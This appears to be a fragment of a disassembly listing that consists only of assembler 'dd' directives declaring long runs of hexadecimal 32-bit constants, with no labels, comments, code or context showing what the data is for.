		dd 51696D91h, 1B6F7CA7h, 72BB1E5h, 9927B777h, 0BD4E11D4h
		dd 3BBDCB79h, 9076FDC2h, 0A8AAFAD9h, 0A99B88B0h, 3917B239h
		dd 658E9BFh, 62297051h,	0D23EF2D1h, 0B288AD7h, 9EBE36BCh
		dd 0D4617AA4h, 248618Eh, 0A783A7BCh, 0E96354F3h, 0B7E6C3C7h
		dd 4142B700h, 0AD3F392Bh, 9A0060C5h, 0A4DAF24Fh, 7EE75310h
		dd 0E739763Ah, 0FB74BEB3h, 0A9EAC616h, 9AD9D170h, 3187B406h
		dd 0DF464012h, 8E8D26F4h, 80FD087Ah, 43BA3A32h,	263138BFh
		dd 0CFE0FA96h, 24239BCh, 1BAB6FB9h, 386FAF82h, 303DAD2Dh
		dd 0D261D8ACh, 9AFB919Ah, 4C704E3Fh, 5CA531F5h,	56191057h
		dd 6BBEF132h, 88608012h, 0F2D2B440h, 52B16E56h,	686A4452h
		dd 5D2281AFh, 0FF92415Bh, 4BC69FEBh, 0CB7AEE8Eh, 4646D9D8h
		dd 1A057DC9h, 12563942h, 0A76CF5B8h, 5D07A24Fh,	2609B334h
		dd 0BF6398E9h, 63222747h, 94000F4h, 9A26DEA1h, 5D144B76h
		dd 0CA1DB1A7h, 0A1C39692h, 0E1387376h, 0C3F6E3D4h, 2E7893C9h
		dd 9FDD9536h, 2F5FD7CDh, 0A1CE6E79h, 3099779Fh,	3CA7D1C6h
		dd 7EEB24F0h, 903F9750h, 0C168CF18h, 0E226D54h,	0F48EEFBBh
		dd 0FF8D776Ch, 878A073h, 0C4AE0F1Fh, 9E6D218Ah,	2329DFD7h
		dd 7411E1C3h, 11D6AC25h, 2650262h, 9BD60A0h, 0D02D7442h
		dd 5D751817h, 738B18BEh, 48CA304Bh, 0DDFAA7B4h,	4270C0FFh
		dd 108E5Fh, 6473A88Eh, 0A57BC721h, 22ED7200h, 5A334099h
		dd 850BA12Ch, 0B5917FC6h, 58E97115h, 6494015h, 6CB0AB00h
		dd 7739C149h, 0C35F226Dh, 0FE12C306h, 0EDAC25F1h, 5970657Dh
		dd 611535CEh, 918C529Eh, 0A38830DFh, 676E1589h,	0BA9C85DAh
		dd 8D17957Dh, 22C302E7h, 0CD785E6Dh, 6978930Eh,	445828D3h
		dd 3866014Ah, 3A34B1D5h, 0E814104Eh, 0DCBC71ABh, 83719D7Ch
		dd 29979A6h, 46E83868h,	16EBB103h, 6DB57A20h, 319A5DD2h
		dd 65C674Dh, 0ADA3658Bh, 3AC3E578h, 0FBB3AED1h,	39F3A57h
		dd 0B655474Dh, 65A3BF31h, 9DCC2384h, 883813B6h,	96E617DFh
		dd 0A5D753DBh, 0A95B5FB4h, 394BDC31h, 0D74B06E6h, 0AD6B5CF3h
		dd 0A07F83ACh, 0AD399865h, 5D5A764Ah, 6CD3C478h, 6C46A566h
		dd 0D8FE5B8Bh, 9C1A4C95h, 0C073764h, 18452AC6h,	0D2B7E767h
		dd 0D394BE6Fh, 8C96222Dh, 3DB336Fh, 0B6D1E784h,	83C0A0FFh
		dd 0D1741922h, 22DF525Bh, 0E16D7FF5h, 0F0B69AE0h, 499BBA19h
		dd 60AF3C9h, 0CE6B8D11h, 0DDCC1A1Eh, 4D093F3Eh,	19645931h
		dd 0FEAADD3Dh, 0F8E7833Ah, 36FA81CEh, 475392C5h, 0B175CCCFh
		dd 3DC14FF1h, 0F0BC3FDCh, 93F4BCE8h, 0B4072A8h,	35D63657h
		dd 6672D962h, 76BE3D39h, 778C88B7h, 30C9EFF7h, 9D5DF332h
		dd 89915EDBh, 65078C95h, 0E984D53Eh, 5F1B60DBh,	3C72F3FCh
		dd 2A41E17Ah, 9DFC7E24h, 678E2EE2h, 0A55B8BB4h,	0CE3D041Ch
		dd 94111788h, 0A21D29B4h, 4B3D9B8Ah, 6A70FE47h,	0A804B55Eh
		dd 11ECBBC5h, 9034CF32h, 0A4BA87B6h, 0E1A7CD50h, 0F088C9A5h
		dd 48EC3915h, 1494CC74h, 955E0Bh, 6CDCC247h, 0AFDD7EDEh
		dd 920349B6h, 3AD74FF5h, 0A8DDBC0Eh, 0D5F49996h, 7E746BACh
		dd 2906D64Eh, 86CBAF80h, 0CE02221h, 0C33456D8h,	0B8ED827Bh
		dd 3D9035BEh, 2DC65C36h, 5709C862h, 0D89E1455h,	0D86E32A1h
		dd 0B74B7267h, 8A92FE58h, 0A2E20008h, 86BAE984h, 2FBA099h
		dd 7156E0A1h, 98F2E83h,	4FD733E4h, 5E19D5AFh, 0A6DECD3Dh
		dd 0EAFADCBCh, 61DFD56Fh, 0D3C2C106h, 0F611F84Dh, 1B3BBCFh
		dd 0FAAAEBEDh, 0F472CFF4h, 273915F6h, 0EE3F475Ah, 0C86FFC55h
		dd 0D6A97F39h, 0E9D33217h, 0E60ECAA3h, 7153B715h, 7D0FEC46h
		dd 0D0279E1h, 375DBBBBh, 7B851D85h, 618D7049h, 421CA8CFh
		dd 0CF4E578h, 7C7D401Bh, 0B05C4841h, 57BB4085h,	5353343Ah
		dd 36BDBADDh, 0AC12AC98h, 509EB22Fh, 10D644B9h,	8BEA0783h
		dd 1C0D4BBBh, 9615FB8Dh, 9E1DFB82h, 0E2169431h,	550FFB22h
		dd 4CCD7124h, 0B83188ACh
		dd 5C6BFACBh, 0D2D13689h, 4A7FDAF8h, 0AB3D73B1h, 0D4DA3AF9h
		dd 84C41D83h, 0A7EA1B62h, 7BFEDD1Dh, 3FF206F2h,	0D87F3109h
		dd 0A38BB9ACh, 7AA0AF5Fh, 4D5DB25Eh, 28D725ECh,	105D4ACBh
		dd 9A032749h, 155D6D28h, 8B8F5F0Eh, 8E157E73h, 696C132Ah
		dd 0CB8A7485h, 0D56612E4h, 9DBFE3CBh, 1D8DF32h,	0BFC953D9h
		dd 50A12C6Fh, 68B8A090h, 0D4662508h, 0BCC5EEE3h, 2FA2FF3Bh
		dd 402C37FDh, 73DA9D61h, 5F2D0C68h, 69FC1467h, 1D345945h
		dd 0CDAE2DFBh, 0B5227EC2h, 77B4818Bh, 8E9BC691h, 0A97BBE97h
		dd 0CD8C4B22h, 0C5AA1E17h, 72CCF378h, 8523082Ch, 0A994AE93h
		dd 6E1042A0h, 5B1DB898h, 3CA41324h, 8BA0DB7Dh, 50A509F1h
		dd 0DA9C80DBh, 0AA19E60Dh, 52B1181Fh, 74CD73A3h, 427E7230h
		dd 0B69EE0C7h, 807C255Ch, 46247ED0h, 0E301DFBBh, 9FC191D2h
		dd 0A3BEE726h, 8CC9AE22h, 2B97FC95h, 0F6E846BBh, 0B3085CD2h
		dd 519EA478h, 92EB5EBEh, 0C478CEFDh, 0EE91C576h, 2438D775h
		dd 7B81C9CAh, 0D323028Bh, 1A3F8965h, 3ADE6E38h,	2B273582h
		dd 0E761C103h, 5485D494h, 0C0D1E670h, 9A7AC155h, 5106803Ah
		dd 6C4DC64Fh, 0D0595AC2h, 0A64AA135h, 44E9FCF0h, 7DFB2B8Ah
		dd 10A348D7h, 0B3A6F54h, 345DB9DCh, 0E4AC8663h,	0B0A3CE24h
		dd 0FD46B380h, 0AD6EFCCBh, 887DD0E7h, 8B56C78Ch, 1277EBCDh
		dd 15CF4B67h, 2948860Fh, 2305B355h, 70E439AEh, 5163D53Ah
		dd 0A687CBD0h, 1E173285h, 98D74CFBh, 839882B8h,	3069062h
		dd 4094509Dh, 918C51B3h, 9226F492h, 653D73CDh, 611FD0B3h
		dd 0B58D25CBh, 47342674h, 0B26428AEh, 0E6BE8A0Fh, 20CFC1C3h
		dd 6388886Eh, 21DE527h,	0CFF16CC3h, 0CBFA6413h,	0DD91BE11h
		dd 68855FC2h, 72FD251Fh, 1E5EEA44h, 471A7EEDh, 5A3B57E9h
		dd 0D6E2B6F9h, 0B823A8CBh, 4BF9735Dh, 278556B4h, 1941178Bh
		dd 60910F9Bh, 371BA7FBh, 247070ABh, 0BBAC4712h,	0EB8C5475h
		dd 0F73A81A8h, 0BC7ED1F3h, 0DE40E9F0h, 0DBE837C6h, 23F3DC9Ah
		dd 7F10E160h, 0F35BA66Ch, 7E943EFBh, 9FC82F90h,	5A36F8C8h
		dd 9F1E36h, 9E7CD99Dh, 0E1794C9Ah, 0C54FC42Fh, 757FB32Eh
		dd 0A9A6920Bh, 0D52D36CEh, 9E759355h, 6BEB7EB6h, 3C8C2D53h
		dd 83BEEF25h, 0FD823B19h, 0E1E2FF28h, 70D7F6B7h, 2A8799FBh
		dd 4EE2717Eh, 54C7573Ch, 927A56C0h, 0B5D53A29h,	9644025Bh
		dd 0DB2F0E2Dh, 3443AC28h, 0AE243C57h, 0C90A340Fh, 513657BFh
		dd 40D7968Fh, 79F48C1Ch, 0A78D7AC6h, 6E3865A4h,	518FA81Eh
		dd 0C3D6D85Bh, 8935DAB1h, 0B4750582h, 9B6845EFh, 4E36C55Ch
		dd 788D30CEh, 8CA38C80h, 0F87EC005h, 198389A2h,	0F8D414C0h
		dd 0D73A6515h, 2ADFB3E0h, 5ECFA7C9h, 9B39011Dh,	0B1F79362h
		dd 0AB03C469h, 0E2BB136Eh, 0FB77125Fh, 0E2197A9h, 0BEE34A42h
		dd 0AC8A68FCh, 4DB9A8BAh, 0E787599Dh, 3665C55Fh, 0DF33110Bh
		dd 0FA773224h, 32FF72D4h, 0BF4E8AB4h, 49A342EBh, 0ABBE4453h
		dd 0D2CDC0F5h, 0C0C0DD67h, 4FA79284h, 33344E48h, 2A89544Ch
		dd 0B2A99AAh, 0BCFC6866h, 8589F55h, 0D2C993EAh,	89D8E1h
		dd 0A41052Bh, 3EBACC6Eh, 0BC9D9191h, 60DC25FDh,	0C38F9746h
		dd 0CB4CD9D3h, 0ED001CF5h, 0F2E1767Fh, 0E9549C63h, 930097EAh
		dd 0D16D7A83h, 0C3E4CDCEh, 66CA91B8h, 0F4184AE0h, 0AB22BF43h
		dd 788A1992h, 4267E5F7h, 0AD4221A2h, 30E87468h,	41798AA4h
		dd 0A62107EBh, 0E36EE78h, 0F5ED6CB7h, 81FC00ACh, 64861C38h
		dd 0A97135B0h, 94714AA1h, 549F00DCh, 23DEEACh, 0A9C9CAB3h
		dd 3505B35Eh, 3D119C02h, 0C4E0F261h, 7C1E7A83h,	0B85DD841h
		dd 11940373h, 0B1365E7Eh, 58247BB8h, 790745A4h,	1150976Ah
		dd 5DE43430h, 4BAE733Ah, 0BDBE756Bh, 0D8225094h, 0E5F67D7Dh
		dd 8A091785h, 0CD7124C2h, 11CFC822h, 1B5809DBh,	0D82CBF7Fh
		dd 0FA5A8B52h, 0C0B108DDh, 43CFBBAh, 0B770DF3h,	658E2700h
		dd 351E2C36h, 3C1350B6h, 0DB6B6677h, 0C64CDEA2h, 726DB482h
		dd 0F70692E0h, 5E521B3Bh, 0C516AC21h, 0DBB5FF79h, 0DCED97ABh
		dd 45A5489Ah, 5455B2B9h, 0AE71BD5Fh, 33BCB270h,	0EE1CD90Ah
		dd 0B306C087h, 365B4CF8h, 0B144122Eh, 0BD5B6344h, 0CBADE028h
		dd 0A41C43C1h, 7D93C398h, 2CF340A2h, 302D820Eh,	0BD1B0605h
		dd 40B31044h, 1015B8D1h, 5C7D89E9h, 0EBF902CCh,	61C37791h
		dd 0A8B0D89Fh, 3CD4FF91h, 6490D91Bh, 16170FB8h,	3214F0Fh
		dd 0B38B54C7h, 0C7216E37h, 0D20EE429h, 0EF875B7Bh, 3CB30EF1h
		dd 0D0A17B40h, 0A799AA1Eh, 0D50E6E20h, 0B907B8D3h, 0E87D8FE9h
		dd 3086BCFCh, 99923151h, 55E52FBFh, 76D0FCD7h, 7A8C8FEAh
		dd 0AB23F000h, 0A13856FFh, 53EAE520h, 1C37629Dh, 0B70F2B29h
		dd 5F598856h, 70B2ABE9h, 738F00B8h, 73814AEBh, 52CBB39Ch
		dd 0EE499747h, 0BADABCBh, 0B1368559h, 4D34AFBAh, 2A7433D9h
		dd 0B94B60B3h, 93EFBDDDh, 0BA9D2AF1h, 0E2A58250h, 7D51B9F9h
		dd 0DD829803h, 8EA16E6Ah, 8838754Ch, 96A58AE3h,	0EAE3F40h
		dd 0C646A884h, 6ED0C14Ch, 9CB5A4AFh, 88ED9C04h,	874E99EBh
		dd 94E776EEh, 5067FF89h, 5DC933BCh, 73C72900h, 543BC2D6h
		dd 5DCE63D2h, 0A0AF0B28h, 548D22FDh, 6A0A8B6Eh,	832BDDCAh
		dd 74EF06B1h, 49795520h, 4141580Bh, 0FA8FEE56h,	1B19CAD0h
		dd 87EF56F4h, 1498F259h, 0A0556F2Ch, 0AED3AF5h,	5F79A688h
		dd 6F41D159h, 34CA708Ah, 118D73BAh, 74C100BBh, 0BB9BDE9Ah
		dd 3983BB39h, 97FE6867h, 66126563h, 573B44h, 5BCF62h, 96C0B312h
		dd 25B0B034h, 0AE2CA7C8h, 54BBD7E0h, 0E7BB9D17h, 76D5D637h
		dd 0B2BA644Eh, 828B9D51h, 0B5DF6CFAh, 0E5199661h, 95BB00BBh
		dd 337E8840h, 0BE87E3Dh, 7663F940h, 0C44C9D4Eh,	46E7549h
		dd 0AC7AD2E6h, 0DA0D1F0Bh, 3874AE3Dh, 7B558754h, 0BEDB71EEh
		dd 0EF16C163h, 65ECB0ACh, 0A2956E7Ch, 0D74647B4h, 1B4E0608h
		dd 0EB30FF22h, 0ADE046D4h, 0C141E060h, 0D0AD11CBh, 91A4E24Bh
		dd 7327D7D2h, 37F65A09h, 854EEEB0h, 0DB66D175h,	1F159DDh
		dd 0F79D2039h, 5F3F491Ch, 0A2B7E1DCh, 8D7E67Dh,	89104669h
		dd 5137D97Ah, 0A5FFF8D6h, 0C17A238Ch, 0CB3CC54Dh, 8B8ECF3Dh
		dd 465A4F2Eh, 0ABD84C0Eh, 783BE8EDh, 99921710h,	1FAAA1CDh
		dd 9D017B63h, 0BF36EEB3h, 0AD965A27h, 3BFC7EABh, 627ACF6Fh
		dd 375A43F6h, 52E3BBF8h, 0B865963Ah, 3AF0B24Eh,	2B656FC5h
		dd 0B5E2CDEDh, 78DE79E9h, 7D720013h, 89FCDA9Ch,	8290C438h
		dd 0E063C1B1h, 2B160C8Ah, 0DDFC8DE2h, 0E68C78EAh, 34CA97BEh
		dd 0CAD56BBAh, 5CA058D4h, 0C091990Ah, 0E8B6B824h, 0F21207Fh
		dd 8B9B4ACBh, 844F00C5h, 6FBBC578h, 83AF1A94h, 480B5622h
		dd 0F90366D5h, 7A67FE52h, 6182A123h, 0BDE55F5Ah, 59BF86CFh
		dd 1AC8CAF9h, 7F34554Ch, 88D8857Fh, 0B1B1A461h,	49FFC365h
		dd 8A6D3BD1h, 48BE926h,	966E578Fh, 2BDC4E6Ch, 0D55858D6h
		dd 27D97F4Bh, 816AD6CEh, 224067C3h, 0F75A71B7h,	4F4A9C4Dh
		dd 52F3C74h, 0F59F1E7Bh, 47785F09h, 0CE6301C7h,	0CF803C5Eh
		dd 0D202D0E0h, 0F8FB4FA0h, 0CAC0814Ch, 0DE5A4C8Eh, 0F1A801F1h
		dd 93E4DF04h, 9D1C7D80h, 0FE82C9D2h, 0B60C0242h, 9E3CF30Ah
		dd 0C8CA48D9h, 61644278h, 0E109F131h, 41F958A5h, 1B1FFFE2h
		dd 73F8A518h, 0BE289622h, 0E1448F33h, 0F28996EDh, 8949D64h
		dd 0E43282D7h, 4D1D6F04h, 0AFD62361h, 77C31B49h, 0E34C8C83h
		dd 90D76AFAh
		dd 96387648h, 0CDC0C006h, 9EF5EC1Fh, 0ED663715h, 0EC99985Bh
		dd 0AAFB1576h, 0DEE056E6h, 530E387Ch, 0F530B3C7h, 60793AC3h
		dd 4463DB61h, 0F92A54BCh, 0E95D4E9Bh, 4BEEA79Ah, 0AD5BC71Fh
		dd 2BED1EF8h, 791D6F39h, 0A675F541h, 0F299A11Bh, 12F8F4Dh
		dd 2D9BAADAh, 0D2B9F553h, 0A731BA5Ah, 9114B169h, 0F0D5CF02h
		dd 732F9A92h, 870A093h,	0BEE2AD3Dh, 54D53911h, 7A6F8C31h
		dd 5FA08E17h, 0B14F52FFh, 0A27020B7h, 0EF9791AEh, 9AD3171Dh
		dd 7869357Ah, 74FFBCC1h, 0C5C770Dh, 4F8B2F11h, 0A53A3928h
		dd 0AD9DA5E0h, 0BBA8186Eh, 0C53BBBF6h, 42985A11h, 0F8EAB7ABh
		dd 5247DB4Eh, 25C840E2h, 81A4483h, 779AE8C7h, 5EDF6672h
		dd 0C4AC71ECh, 5D00688Ah, 844588C1h, 31D66B29h,	0E486F22Dh
		dd 92D17B08h, 0F3B24FB6h, 3F3AB0D4h, 12EDD97Fh,	41E06D35h
		dd 0EEA6ABh, 0A8F0AF7h,	92D6D07Fh, 0F2E93673h, 0B7C57B5Ah
		dd 557F3158h, 56DF8E4Bh, 5C41639h, 0C2824CBEh, 46759691h
		dd 0F7C87059h, 0CB25EA90h, 0E41D8E33h, 8339F07Dh, 471BBBADh
		dd 0B09CAD6Ah, 0D97758EFh, 6A77A2ADh, 0B5E02AD6h, 0B3F0F6FCh
		dd 0BDBF087Eh, 0F8730530h, 0A414B166h, 0F7CCEAB7h, 280DD8D7h
		dd 39E322A8h, 5B1E1479h, 7EC56F7Ah, 0ED1748DDh,	0C936E695h
		dd 129D8A2Ah, 6F162B96h, 52078624h, 771229D5h, 0DF69DBA6h
		dd 0F413754h, 50959B47h, 7FC26EB5h, 1E1D0B7h, 0D19C0284h
		dd 667C3768h, 0D274304Fh, 0A279B7F8h, 1CEDA50Bh, 2AA9AAC3h
		dd 0A7E4FF77h, 0A8CF4Dh, 243AD8E6h, 0C2A473FDh,	0F1EB4D73h
		dd 4CAFD543h, 66BB568Eh, 4BAA756Eh, 936936AFh, 472ADE26h
		dd 10173375h, 0F3E96669h, 0D10605D6h, 0BFEBB928h, 2732D63Dh
		dd 0E51DB3C2h, 4718CA9Ch, 0D113FB8Ch, 0B999F32Bh, 11D394E6h
		dd 74F45B35h, 0E1C88B51h, 918972C3h, 17D98698h,	0DF7B9CCh
		dd 7EDC5032h, 9D7A696Bh, 0C4838952h, 26FC1CEBh,	86E6D2A4h
		dd 0C9E5FA1Dh, 40B9AA8Dh, 0FFEDFAA4h, 50BC4256h, 0FFE95EDFh
		dd 12A7710h, 0D8A15F11h, 0EF5B900Eh, 24CE5B29h,	0AA4F7C09h
		dd 535CC5EFh, 7C614DE5h, 0D962F4C8h, 51656D2Bh,	2A506CACh
		dd 0A95675FDh, 2CE4B215h, 91413AD2h, 4C0B51D6h,	0EF8A4C49h
		dd 0CC525B1Dh, 0A9ECFF02h, 709C0C7Ah, 725335D0h, 0B4EB277Ah
		dd 0CD8B296Eh, 0AB0E072Ah, 51A0FEDEh, 93E04C1h,	4C16A05Ch
		dd 6C93FCBCh, 2C03C150h, 0AA3A0478h, 65E29634h,	7431F478h
		dd 1E2D40DAh, 99D72039h, 6795DF84h, 2C20D805h, 9A488C3Fh
		dd 0FF6DC84Ch, 297C688Ch, 84B0D4ADh, 85D5691Fh,	0D1534777h
		dd 65420C5Ah, 0C44E8D1h, 0F3034205h, 0E039030Ah, 2AD49537h
		dd 6CF1C99Bh, 0BB44281Ch, 6DFB4712h, 0AA4DE5C8h, 0A20D6801h
		dd 9A6F6627h, 41C040Ch,	0AE50B3Ah, 0A651D86Ch, 0DD6CD092h
		dd 0D42DA408h, 0DC7DF41Ah, 0ED3ACB1h, 0F5D81193h, 73D35636h
		dd 9F311710h, 0FC7CA157h, 5FE81025h, 88F47018h,	0AE0A39E8h
		dd 37237037h, 1B34A502h, 0E08B2A57h, 77DBCA71h,	37407A2Dh
		dd 0DB090259h, 6CFAAC8Bh, 7079868Eh, 0FB5A645Dh, 0AD133317h
		dd 0E85F8CF9h, 7E25B571h, 0AF8C2103h, 8813F2D7h, 39D9CA2Eh
		dd 34A1BC8h, 296471E1h,	0CC8595CFh, 63361C2Ah, 0B8C6C02Eh
		dd 6AD967F6h, 466C46FAh, 655AC6EBh, 0A63A360Fh,	0C4DB3053h
		dd 96B93148h, 343A8C9Fh, 7B68C913h, 50F18ED0h, 0B479DBA3h
		dd 0AA515B84h, 0DEECEC8Dh, 58EB6807h, 225C1307h, 0B0F89715h
		dd 0C7216685h, 55741AA4h, 0B13FABBCh, 747C9E5Ah, 0BB1F6F62h
		dd 42C0CC26h, 337E8704h, 373AA5C1h, 0A77C3F52h,	0CECF4DDh
		dd 0C18BEC34h, 4F2572C9h, 0A66D133Fh, 20A8B670h, 83FDEA0Ch
		dd 2935C3C7h, 88D1A867h, 0E5480B1Eh, 0FCF1B87Bh, 42EB10D4h
		dd 0E4592E20h, 2AC24784h, 64C1631Dh, 0B4D7F0F5h, 316EAFB1h
		dd 0AF54DF63h, 2FF134B4h, 0F309DAB1h, 0EDA7FEE3h, 642B95C9h
		dd 0E2ADC773h, 1F488CACh, 0AC282C1Bh, 8A4AC6F4h, 0ED3F720Bh
		dd 30A6B519h, 0C117BA80h, 0CABF85EAh, 79BB601Dh, 796B9638h
		dd 79AE8F4Bh, 0BE5B93E6h, 0E5541389h, 807F021h,	0DB2BEFE8h
		dd 0C3C96AE6h, 2E0B00D6h, 1F15C84Bh, 7B0B5079h,	0AC47A5E2h
		dd 9959A104h, 0CA9C5D86h, 20090D8Bh, 74C1606Fh,	79DA49F2h
		dd 26DB0D6h, 266D79CAh,	0B2F59823h, 0F626241Eh,	0A79F105Fh
		dd 5DF40B69h, 0EBB066A5h, 2BF961B0h, 16892217h,	0E31ED9A8h
		dd 0BFC3AF1Fh, 0B5B1C720h, 1F9A92h, 0C5EBB2D4h,	287D3CDEh
		dd 0EA45B13Eh, 713A95C1h, 0CB58CE3Dh, 62CB1B1Ah, 0BC096936h
		dd 524B754Dh, 6B809DD0h, 70EEDE25h, 0A1EE7B41h,	0DFAAF892h
		dd 9CF20EDDh, 3745E938h, 0F108BA71h, 2A642377h,	0FBAA4C8Dh
		dd 3C47F661h, 0D2055EEFh, 38EE6D3Bh, 0C3C4E27Dh, 0E6AA5EB4h
		dd 0B83F0280h, 2A761ECh, 657EA05Ah, 0F4F61C0Eh,	981161CFh
		dd 0C380A51Eh, 6F4837ACh, 31B3F0Bh, 938C3B4Dh, 4E771167h
		dd 4FDEA72Bh, 95143837h, 8D0D43E3h, 0A872D968h,	0E9C2F7C8h
		dd 2FD5E5A8h, 7728EA43h, 0FD26381Ah, 5CA317D5h,	522956DAh
		dd 0BD08B764h, 0E61E0739h, 32856252h, 6C2FE9CDh, 719FFEDBh
		dd 0BED3E82Dh, 3D5FF418h, 0B600A6F1h, 0BD659662h, 8F00F291h
		dd 0B66FE1F0h, 6AB6506Dh, 8F018152h, 0D4F85188h, 0ECA967EEh
		dd 58641175h, 73B86384h, 2DC4D3Eh, 0F9BA59AEh, 0BFADA06Eh
		dd 7D1D5D26h, 0A645373Eh, 52BE8E55h, 0D0BD3FBh,	66C08383h
		dd 5B6762BDh, 92B44DCEh, 0A96EAE5Eh, 9E97341h, 8005BEA8h
		dd 822D83ECh, 16ED548Ah, 52E1ED2Ch, 3D191EA4h, 0CD17E472h
		dd 0B6ADEBABh, 86585771h, 0F34A5D0Ah, 33D073CCh, 0E6E0E426h
		dd 5B25727h, 71CF5E8Ch,	9CAAE684h, 0F876561Bh, 0DBA7514Eh
		dd 0B66066B3h, 71905C15h, 0AE22BA2Eh, 81795C23h, 1F517D34h
		dd 98B448h, 8FC2F1F1h, 9B9558D7h, 0DE637C2Eh, 0DF049D07h
		dd 205B4C92h, 8A333623h, 422F99B9h, 1F17439Eh, 0DD4A2FC0h
		dd 0ECAF8FFCh, 60959811h, 1260D607h, 8AFD20F5h,	69DCE86Ah
		dd 0D3FFC685h, 7C9073B7h, 0B6BBE0A0h, 9B43675Dh, 0C2EAD42Ah
		dd 0ADC5BBEDh, 75ABFF07h, 3D590AFFh, 4AB591FBh,	62AEA7F2h
		dd 3F075Bh, 0F225B24Eh,	0A662AB9Fh, 8817ED84h, 0FF3DB1B8h
		dd 9A9501F5h, 1EEA62D5h, 0C4F4C594h, 36EADD3Ch,	5EADCA00h
		dd 0EE13D7E9h, 971526C9h, 8CFCAF64h, 97E38DF4h,	0AD388AF2h
		dd 3E55C09Dh, 80E34F39h, 6E75E874h, 9635841Eh, 7DD59041h
		dd 9721D8E4h, 0D86ED188h, 0A78B79E4h, 89C92632h, 0F8319F29h
		dd 9CA64784h, 8790A75Eh, 0CDA1BFDh, 16553AEh, 163AFE7h
		dd 5D82D659h, 9897F1E2h, 5255BE9Ch, 32B81885h, 6FA49E6Bh
		dd 9EBFA1AFh, 0A67240BAh, 0CA598456h, 1F1C7C69h, 0D7778B9Dh
		dd 0E8CCD1BAh, 0D3D454E2h, 28DAEBA3h, 0A4B5D73Ah, 11D50759h
		dd 0E09B8C16h, 0CF0DE94Fh, 35132653h, 0D59ADC0Fh, 35C5B73Ch
		dd 5D5C7E79h, 0A612A9DAh, 682B70A4h, 0C383C909h, 8B1E7227h
		dd 0B0D8D38h, 0F91348AAh, 520E6DADh, 1719FA5Ch,	32FA4CD7h
		dd 0A5B005A6h, 0FC63DD44h, 92784DB1h, 0E91C79E3h, 73359C23h
		dd 0FC0853Eh, 0C81BC350h, 10D5BCA6h, 0A6EAD584h, 0B3BB79CAh
		dd 0BAE9DE07h, 888381D8h, 18DBBB9Dh, 4AACD1AEh,	0C8273B17h
		dd 7AABB02h, 3B33A225h,	3B2D5556h, 664E454Bh, 17C07455h
		dd 4A3809BEh, 0A764A284h, 0BE905C2Dh, 5DB8F35Fh, 3DC232B7h
		dd 0E3DC14EDh, 6F4BD20Fh
		dd 0DBA98FC9h, 432A480Ah, 60074D06h, 0F987CE83h, 0F18875E8h
		dd 0C281984h, 7BC22753h, 7567B19Bh, 568325F3h, 68C39048h
		dd 26F4F418h, 14D56ABBh, 0E06B2593h, 0B34C8C32h, 1ABF1484h
		dd 8CD93563h, 0CE3C806Ch, 0D0ECE880h, 8C47A68Bh, 93B211C5h
		dd 7AD38725h, 24106930h, 0F0E1496h, 4FEA2398h, 97343A5Fh
		dd 7736FE0Bh, 5E339CF0h, 2821C22Eh, 663FEE18h, 36405D93h
		dd 77177F5Ah, 12134413h, 67AB1588h, 0F2567F2Bh,	4E7ECE06h
		dd 0B871E6E5h, 484F4D4Ch, 72DCAE72h, 0C3DE0465h, 578F4595h
		dd 6731CDBFh, 8A55E46Ah, 8EF9EDF6h, 1570851Ch, 2831B5C3h
		dd 3359A15h, 0B35E69Fh,	22E49018h, 0B2E7D287h, 821B8149h
		dd 0BCADFA9Fh, 4957AF80h, 11694FFCh, 0AA717116h, 83ADF06Dh
		dd 45764F03h, 0FBA750F0h, 3FC36E0h, 94B211B8h, 0CE81112Fh
		dd 0BE5F892Dh, 0E2229082h, 0EE981F1Ch, 0D54E53C1h, 0E563B9B2h
		dd 7D351553h, 79DBDAADh, 67A7D476h, 0F953696Dh,	290E62D0h
		dd 0FB02D01Dh, 4E234EAEh, 0D2A3FF6Bh, 0B4108380h, 7C3F3FC0h
		dd 0E91031CFh, 0D610A477h, 5D11A481h, 440AA98Bh, 9E275CADh
		dd 0A1FD1A22h, 1BF3F174h, 4B7F5A1Ch, 0A3B20D56h, 6240DCCBh
		dd 0B0BB68Ch, 4D0D1871h, 447848Bh, 0B7BEB4F3h, 88FAE184h
		dd 0F9E39AB1h, 4149342Eh, 5EC8C96Dh, 0FF397CD5h, 1C9E48A3h
		dd 64CA8431h, 0D7C56D9Ah, 0FCE8B8CAh, 4E5AD5F1h, 19119BC3h
		dd 0E753E845h, 0DF6621A4h, 0E63AE4E0h, 60C3C956h, 0E81537B9h
		dd 0B0776C93h, 55A966DCh, 682637DBh, 563B4E2Ch,	0F63D2593h
		dd 0ABE3FFB0h, 72FE5F28h, 2CE0677h, 0D11EEA83h,	6A979152h
		dd 93EEA5AEh, 0B131D206h, 1A8AD9E4h, 7669E30Bh,	4274F77Bh
		dd 0C38C942Dh, 7861B8D6h, 0A968415Ah, 25E59192h, 610EC9B4h
		dd 0FC2DE710h, 7A52573Dh, 4F09C79Eh, 0D9B356C0h, 0B20AA052h
		dd 0BD3E8717h, 0F28ACEE5h, 4DC6CA9Eh, 38651DB9h, 647924D5h
		dd 0E5C7563Bh, 0D3D98F56h, 0B03C8EB8h, 7B1912CFh, 14A08624h
		dd 0F172E100h, 9DE0013Ch, 0ED122EE3h, 368CCC58h, 3566A954h
		dd 1F09CABDh, 0AADB34B8h, 5FA2CF08h, 0EE3B8381h, 0DF12DE23h
		dd 0E23DE735h, 97DD7EE9h, 9B73DE89h, 58E8DB74h,	9D8B3BF4h
		dd 8954DBF7h, 7909DE80h, 0EFCE3522h, 98687C4Ah,	107A645Bh
		dd 7A647384h, 0CCF5C00Bh, 0ABDC178Ch, 94D270A3h, 79E2FC25h
		dd 22AB513Eh, 0FA8A82DCh, 478236D7h, 1A3EDE5Fh,	512FFC2Dh
		dd 7CD2AECFh, 7CFFA8ADh, 2649B41Ah, 43FF803h, 0F73A7E81h
		dd 0A287F24Dh, 0BAAFBBD1h, 98FFC8DEh, 0A2D01B37h, 60AB69A9h
		dd 3BC02E6h, 977C285Eh,	96579AEEh, 71298917h, 5387BEF7h
		dd 7C6CE2F5h, 0FB1B87ABh, 0BA28C0D3h, 0F658992Ah, 489BC142h
		dd 0A0A277BFh, 0E6153B2h, 5B360246h, 4521412Ch,	0F05AA118h
		dd 616B7C24h, 7AF76702h, 0FEB97184h, 5A846722h,	0F94663E8h
		dd 5258B45Fh, 17855536h, 0D3F38FC9h, 4203A32Ch,	0ADD4F06Eh
		dd 0A4959346h, 0C4A75B22h, 28973C07h, 0E1F104EBh, 0B5E30E72h
		dd 0B46FBEEAh, 45E2819Fh, 8CD2ACBAh, 0D5CC0562h, 0C7F35824h
